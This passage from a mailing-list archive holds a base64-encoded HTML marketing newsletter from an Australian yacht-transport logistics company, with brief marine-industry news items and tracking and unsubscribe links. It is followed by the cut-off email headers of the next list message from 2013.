dW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0i YmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgd2lkdGg9IjMwIj48L3RkPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImNvbnRlbnRibG9j ayIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsiIHdpZHRoPSI1 NDAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgd2lkdGg9IjU0 MCIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRib2R5PgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIiBzdHlsZT0iIiB3aWR0aD0iMTUw Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+PGlt ZyBhbHQ9IiIgd2lkdGg9IjE5NSIgaGVpZ2h0PSIxMjUiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1h aWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3RodW1fODRfQ291cmFu LmpwZyI+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1 L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xMzgzMzUmVT01NjA2YzBlNGM5MzMzY2Y0MzRjYmI2YWM1 OGZiNjUyMDM0MyIgdGFyZ2V0PSJibGFuayI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPGg0PjxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6 Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzODMzNSZVPTU2MDZjMGU0 YzkzMzNjZjQzNGNiYjZhYzU4ZmI2NTIwMzQzIiB0YXJnZXQ9ImJsYW5rIj5Db3VyYW4gQ292ZSZu YnNwO29wZW4mbmJzcDs8L2E+PC9oND4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPHRkIHN0eWxlPSIiIHdpZHRoPSI0NSI+PC90ZD4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIiBzdHlsZT0i IiB3aWR0aD0iMTUwIj48aW1nIGFsdD0iIiB3aWR0aD0iMTkwIiBoZWlnaHQ9IjEyNSIgc3JjPSJo dHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFn ZXMvdGh1bV84M19SaXYuanBnIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgPGg0IGNsYXNzPSJzZWNvbmRhcnkiPjxzcGFuIHN0eWxlPSJmb250LWZhbWls eTogQXJpYWw7Ij48YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJh bmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xMzgzMzUmVT01NjAwM2RmY2UzNjdhNzU0 MGNhYTc3YjQzYTZkZDgyMmQxMSIgdGFyZ2V0PSJibGFuayI+UmlsZXkgdGFrZXMgcmVpbnM8L2E+ PC9zcGFuPjwvaDQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDx0ZCBzdHlsZT0iIiB3aWR0aD0iNDUiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCIgc3R5bGU9IiIgd2lkdGg9IjE1 MCI+PGltZyBhbHQ9IiIgd2lkdGg9IjE5MCIgaGVpZ2h0PSIxMjUiIHNyYz0iaHR0cDovL3dlYnNp dGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3RodW1fODRf TUVUUy5qcGciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8aDQgY2xhc3M9InNlY29uZGFyeSI+PGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJlZj0i aHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTM4MzM1JlU9NTYw ZmRmYzYxMzM0NTM3NDAwMGExYjAzYjA1ZWFkZDc4MTYiIHRhcmdldD0iYmxhbmsiPk1FVFMgZm9y Y2FzdHMgYnJpZ2h0IDIwMTQ8L2E+PC9oND4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkIHZhbGlnbj0idG9wIiBzdHlsZT0iIiB3aWR0aD0iMTUwIj4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG11bHRpbGluZSBsYWJlbD0iT2NlYW4gTmV3 cyAxIENvbnRlbnQiPjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48c3BhbiBzdHlsZT0iZm9u dC1mYW1pbHk6IEFyaWFsOyBjb2xvcjogIzAwMDAwMDsiPlRoZSBtYXJpbmEgYXQgQ291cmFuIENv dmUgaXMgcm9sbGluZyBvdXQgdGhlIHdlbGNvbWUgbWF0IHRvIHZpc2l0aW5nIGJvYXRpZXM8L3Nw YW4+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 cD48YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1 L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xMzgzMzUmVT01NjA0YTU5YzEwMDU0YTI0OGNlOWM2MDEx NmRhZWY0YjQ4NiIgdGFyZ2V0PSJibGFuayI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlh bDsgY29sb3I6ICMwMDAwMDA7Ij48L3NwYW4+PC9hPjxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsi IGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzODMz NSZVPTU2MDZjMGU0YzkzMzNjZjQzNGNiYjZhYzU4ZmI2NTIwMzQzIiB0YXJnZXQ9ImJsYW5rIj5G VUxMIFNUT1JZPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPC9tdWx0aWxpbmU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0ZCBzdHlsZT0iIiB3aWR0aD0iNDUiPjwvdGQ+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCIgc3R5bGU9IiIg d2lkdGg9IjE1MCI+PG11bHRpbGluZSBsYWJlbD0iT2NlYW4gTmV3cyAyIENvbnRlbnQiPjxzcGFu IHN0eWxlPSJmb250LWZhbWlseTogQXJpYWw7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8cD48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBj b2xvcjogIzAwMDAwMDsiPkxlZSBEaWxsaW9uIGhhcyBwYXNzZWQgdGhlIGhlbG0gdG8gTWFyayBS aWxleSwgZXN0YWJsaXNoaW5nIFIgbWFyaW5lIFBpdHR3YXRlci48L3NwYW4+PC9wPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBvbmNsaWNrPSJy ZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgz NzM3NDQmVD0xMzgzMzUmVT01NjBiZDI1YjIyNGVlZjE0NjJmOGRkZTYzMTU4OTgwZDJjYiIgdGFy Z2V0PSJibGFuayI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgY29sb3I6ICMwMDAw MDA7Ij48L3NwYW4+PC9hPjxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9t YWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzODMzNSZVPTU2MDc4MzYxZDFh NDMwMjRhNzc4MDAxYWU2NmUzZTY4NjBiIiB0YXJnZXQ9ImJsYW5rIj5GVUxMIFNUT1JZPC9hPjwv cD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9tdWx0 aWxpbmU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBz dHlsZT0iIiB3aWR0aD0iNDUiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCIgc3R5bGU9IiIgd2lkdGg9IjE1MCI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxtdWx0aWxpbmUg bGFiZWw9Ik9jZWFuIE5ld3MgMyBDb250ZW50Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IEFy aWFsOyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv c3Bhbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA+ PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbDsgY29sb3I6ICMwMDAwMDA7Ij5SZXN1bHRz IGZyb20gdGhlIHdvcmxkJ3MgbGFyZ2VzdCBtYXJpbmUgdHJhZGUgc2hvdyBib2RlcyB3ZWxsIGZv ciB0aGUgbWFyaW5lIGluZHVzdHJ5Ljwvc3Bhbj48L3A+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhy ZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTEzODMzNSZV PTU2MGIxNGE2MWNjNjhiMjRmODY5YjBmYzRlNGE3OGUyMWMwIiB0YXJnZXQ9ImJsYW5rIj48c3Bh biBzdHlsZT0iZm9udC1mYW1pbHk6IEFyaWFsOyBjb2xvcjogIzAwMDAwMDsiPjwvc3Bhbj48L2E+ PGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9y ZWRpci5hc3A/RT04MzczNzQ0JlQ9MTM4MzM1JlU9NTYwZmRmYzYxMzM0NTM3NDAwMGExYjAzYjA1 ZWFkZDc4MTYiIHRhcmdldD0iYmxhbmsiPkZVTEwgU1RPUlk8L2E+PC9wPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L211bHRpbGluZT4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgPC90YWJsZT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90 ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJiYWNrZ3Jv dW5kLWNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IiB3aWR0aD0iMzAiPjwvdGQ+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0i YmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyIgY29sc3Bhbj0iMyIgaGVpZ2h0 PSIxMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90 YWJsZT4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8 L3RyPgogICAgICAgICAgICAgICAgPC90Ym9keT4KICAgICAgICAgICAgPC90YWJsZT4KICAgICAg ICAgICAgPGltZyBhbHQ9IiIgd2lkdGg9IjEiIGhlaWdodD0iMjUiIGNsYXNzPSJkaXZpZGVyIiBz dHlsZT0iYm9yZGVyLXdpZHRoOiAwcHg7IGJvcmRlci1zdHlsZTogc29saWQ7IiBzcmM9Imh0dHA6 Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9z cGFjZXIuZ2lmIj4KICAgICAgICAgICAgPHRhYmxlIHdpZHRoPSI2MjAiIGFsaWduPSJjZW50ZXIi IGNsYXNzPSJmb290ZXIiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIw Ij4KICAgICAgICAgICAgICAgIDx0Ym9keT4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAg ICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY2VsbCIgc3R5bGU9IiIgd2lkdGg9IjYyMCI+ CiAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNl bGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJn YigxNjcsIDE2NywgMTY3KTsiIGNvbHNwYW49IjQiIHdpZHRoPSIzMCIgaGVpZ2h0PSI0MCI+PC90 ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiByZ2IoMTY3LCAxNjcsIDE2Nyk7IiB3aWR0aD0i MzAiPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0i Y29udGVudGJsb2NrIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDE2NywgMTY3LCAxNjcp OyIgd2lkdGg9IjMwMCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcg YWx0PSIiIHdpZHRoPSIxMDYiIGhlaWdodD0iMjkiIHN0eWxlPSJib3JkZXItd2lkdGg6IDBweDsg Ym9yZGVyLXN0eWxlOiBzb2xpZDsiIHNyYz0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5h dS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL2F1cm9yYV9sb2dvX2Zvb3Rlci5wbmciPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPHA+PGEgc3R5bGU9InRleHQtZGVjb3JhdGlvbjogdW5kZXJsaW5lOyIgb25jbGljaz0icmV0 dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29tLmF1IiB0YXJn ZXQ9Il9ibGFuayI+d3d3LnlhY2h0LXRyYW5zcG9ydC5jb20uYXU8L2E+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBzdHlsZT0i dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVm PSJodHRwOi8vd3d3LmF1cm9yYWxvZ2lzdGljcy5jb20iIHRhcmdldD0iX2JsYW5rIj53d3cuYXVy b3JhbG9naXN0aWNzLmNvbTwvYT48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxwIHN0eWxlPSJjb2xvcjogI2ZmZmZmZjsiPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8YSBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lOyIgb25jbGljaz0icmV0 dXJuIGZhbHNlOyIgaHJlZj0iaHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFH bG9iYWxMb2dpc3RpY3MvbWFpbEJBTksuYXNweD9FVUlEPTEyNEZGOTVBOUIzMjRGRENCRTRGNTkw QkVDOTNFQkExIiB0YXJnZXQ9ImJsYW5rIj48c3Ryb25nPkVkaXQgeW91ciBzdWJzY3JpcHRpb248 L3N0cm9uZz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDxhIHN0 eWxlPSJ0ZXh0LWRlY29yYXRpb246IG5vbmU7IiBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVm PSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9t YWlsQkFOSy5hc3B4P0VVSUQ9MTI0RkY5NUE5QjMyNEZEQ0JFNEY1OTBCRUM5M0VCQTEmVW5zdWI9 MSIgdGFyZ2V0PSJibGFuayI+PHN0cm9uZz5VbnN1YnNjcmliZSBpbnN0YW50bHk8L3N0cm9uZz48 L2E+PC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249InJpZ2h0IiBjbGFzcz0iY29u dGVudGJsb2NrIiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDE2NywgMTY3LCAxNjcpOyIg d2lkdGg9IjI1MCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxl PSJjb2xvcjogI2ZmZmZmZjsiPkF1cm9yYSBHbG9iYWwgTG9naXN0aWNzIFB0eSBMdGQKICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPgogICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDQ4 IE1jQ29ubmVsbCBTdHJlZXQKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJy PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIEJ1bGltYmEgUUxELCBBdXN0cmFsaWEgNDE3MTwvcD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHAgc3R5bGU9ImNvbG9yOiAjZmZmZmZm OyI+UGhvbmU6IDYxKyA3IDM5MDAgNTkwMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgRmF4OiA2MSsgNyAzMzk5IDcyMDk8L3A+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogcmdiKDE2Nywg MTY3LCAxNjcpOyIgd2lkdGg9IjMwIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJn YigxNjcsIDE2NywgMTY3KTsiIGNvbHNwYW49IjQiIGhlaWdodD0iMjAiPjwvdGQ+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAg ICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAg IDwvdGJvZHk+CiAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgIDxpbWcgYWx0PSIiIHdp ZHRoPSIxIiBoZWlnaHQ9IjI1IiBjbGFzcz0iZGl2aWRlciIgc3R5bGU9ImJvcmRlci13aWR0aDog MHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgc3JjPSJodHRwOi8vd2Vic2l0ZXMubWFpbGJhbmsu Y29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMvc3BhY2VyLmdpZiI+CiAgICAgICAg ICAgIDx0YWJsZSB3aWR0aD0iNjIwIiBhbGlnbj0iY2VudGVyIiBjbGFzcz0idGFibGUiIGJvcmRl cj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgIDx0 Ym9keT4KICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0 ZCBjbGFzcz0iY2VsbCIgc3R5bGU9IiIgd2lkdGg9IjYyMCI+CiAgICAgICAgICAgICAgICAgICAg ICAgIDxpbWcgd2lkdGg9IjYwMCIgaGVpZ2h0PSIxMzkiIHN0eWxlPSJib3JkZXItd2lkdGg6IDBw eDsgYm9yZGVyLXN0eWxlOiBzb2xpZDsiIGFsdD0icGFydG5lcnMiIHNyYz0iaHR0cDovL3dlYnNp dGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3BhcnRuZXJz LmpwZyI+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAg PC90cj4KICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgIDwvdGFibGU+CiAgICAg ICAgICAgIDxpbWcgYWx0PSIiIHdpZHRoPSIxIiBoZWlnaHQ9IjI1IiBjbGFzcz0iZGl2aWRlciIg c3R5bGU9ImJvcmRlci13aWR0aDogMHB4OyBib3JkZXItc3R5bGU6IHNvbGlkOyIgc3JjPSJodHRw Oi8vd2Vic2l0ZXMubWFpbGJhbmsuY29tLmF1L0F1cm9yYUdsb2JhbExvZ2lzdGljcy9pbWFnZXMv c3BhY2VyLmdpZiI+CiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgPC90cj4KICAgIDwvdGJvZHk+ CjwvdGFibGU+PHRhYmxlIGJvcmRlcj0iMCIgaWQ9Im1iTGlua3MiIGFsaWduPSJjZW50ZXIiIGNl bGxwYWRkaW5nPSIwIj4NCjx0cj48dGQgID4NCjxpbWcgaGVpZ2h0PSIzIiB3aWR0aD0iMyIgc3Jj PSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L19tYnN0YXQvODM3Mzc0NC8xMzgzMzUvaW1nLmdpZiI+ PGEgaHJlZj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS8iIHRhcmdldD1fYmxhbmsgY2xhc3M9ImNy ZWF0ZWRXaXRoIj48aW1nIGhlaWdodD0iMjAiIHdpZHRoPSIyMCIgc3JjPSJodHRwOi8vbWFpbGJh bmsuY29tLmF1L2Fzc2V0cy9tYkxvZ28yMHgyMC5naWYiIGFsdD0ibWFpbEJBTksiIHN0eWxlPSJi b3JkZXI6MDsiIC8+PC9hPjwvdGQ+PHRkIHZhbGlnbj0ibWlkZGxlIj48YSBocmVmPSJodHRwOi8v bWFpbGJhbmsuY29tLmF1LyIgdGFyZ2V0PV9ibGFuayBjbGFzcz0iY3JlYXRlZFdpdGgiPiZuYnNw O0NyZWF0ZWQgd2l0aCBtYWlsQkFOSzwvYT48L3RkPjx0ZCAgYWxpZ249cmlnaHQ+Jm5ic3A7fCZu YnNwOzxhIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvU2VuZFRvQUZyaWVuZC8/Qj0xMzgz MzUmQks9ODBBOEFDQjQwMkNFNCI+U2VuZCB0byBhIGZyaWVuZDwvYT4mbmJzcDt8Jm5ic3A7PGEg aHJlZj0naHR0cDovL3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3Rp Y3MvbWFpbEJBTksuYXNweD9FVUlEPTEyNEZGOTVBOUIzMjRGRENCRTRGNTkwQkVDOTNFQkExJlVJ RD04MzczNzQ0JmVtYWlsPWxpbnV4LXhmc0Bvc3Muc2dpLmNvbSc+VmlldyB5b3VyIGRldGFpbHM8 L2E+Jm5ic3A7fCZuYnNwOzxhIGhyZWY9Imh0dHA6Ly93ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUv QXVyb3JhR2xvYmFsTG9naXN0aWNzL1ByaXZhY3kuYXNwIj5Qcml2YWN5IHBvbGljeTwvYT48L3Rk PjwvdHI+DQo8L3RhYmxlPjwvYm9keT48L2h0bWw+ ----boundary_0_1e418ef7-2a64-47d7-bb26-c5350fef2584-- From vesele-spd@xnetpn.sk Mon Dec 23 02:47:54 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3DA387F61 for ; Mon, 23 Dec 2013 02:47:54 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E1998F8050 for ; Mon, 23 Dec 2013 00:47:53 -0800 (PST) X-ASG-Debug-ID: 1387788468-04bdf00fe01ad160001-w1Z2WR Received: from mail.xtramail.sk (mail.xnetpn.sk [62.168.79.189]) by cuda.sgi.com with ESMTP id smptj0V8CIUvehPX (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 23 Dec 2013 00:47:50 -0800 (PST) 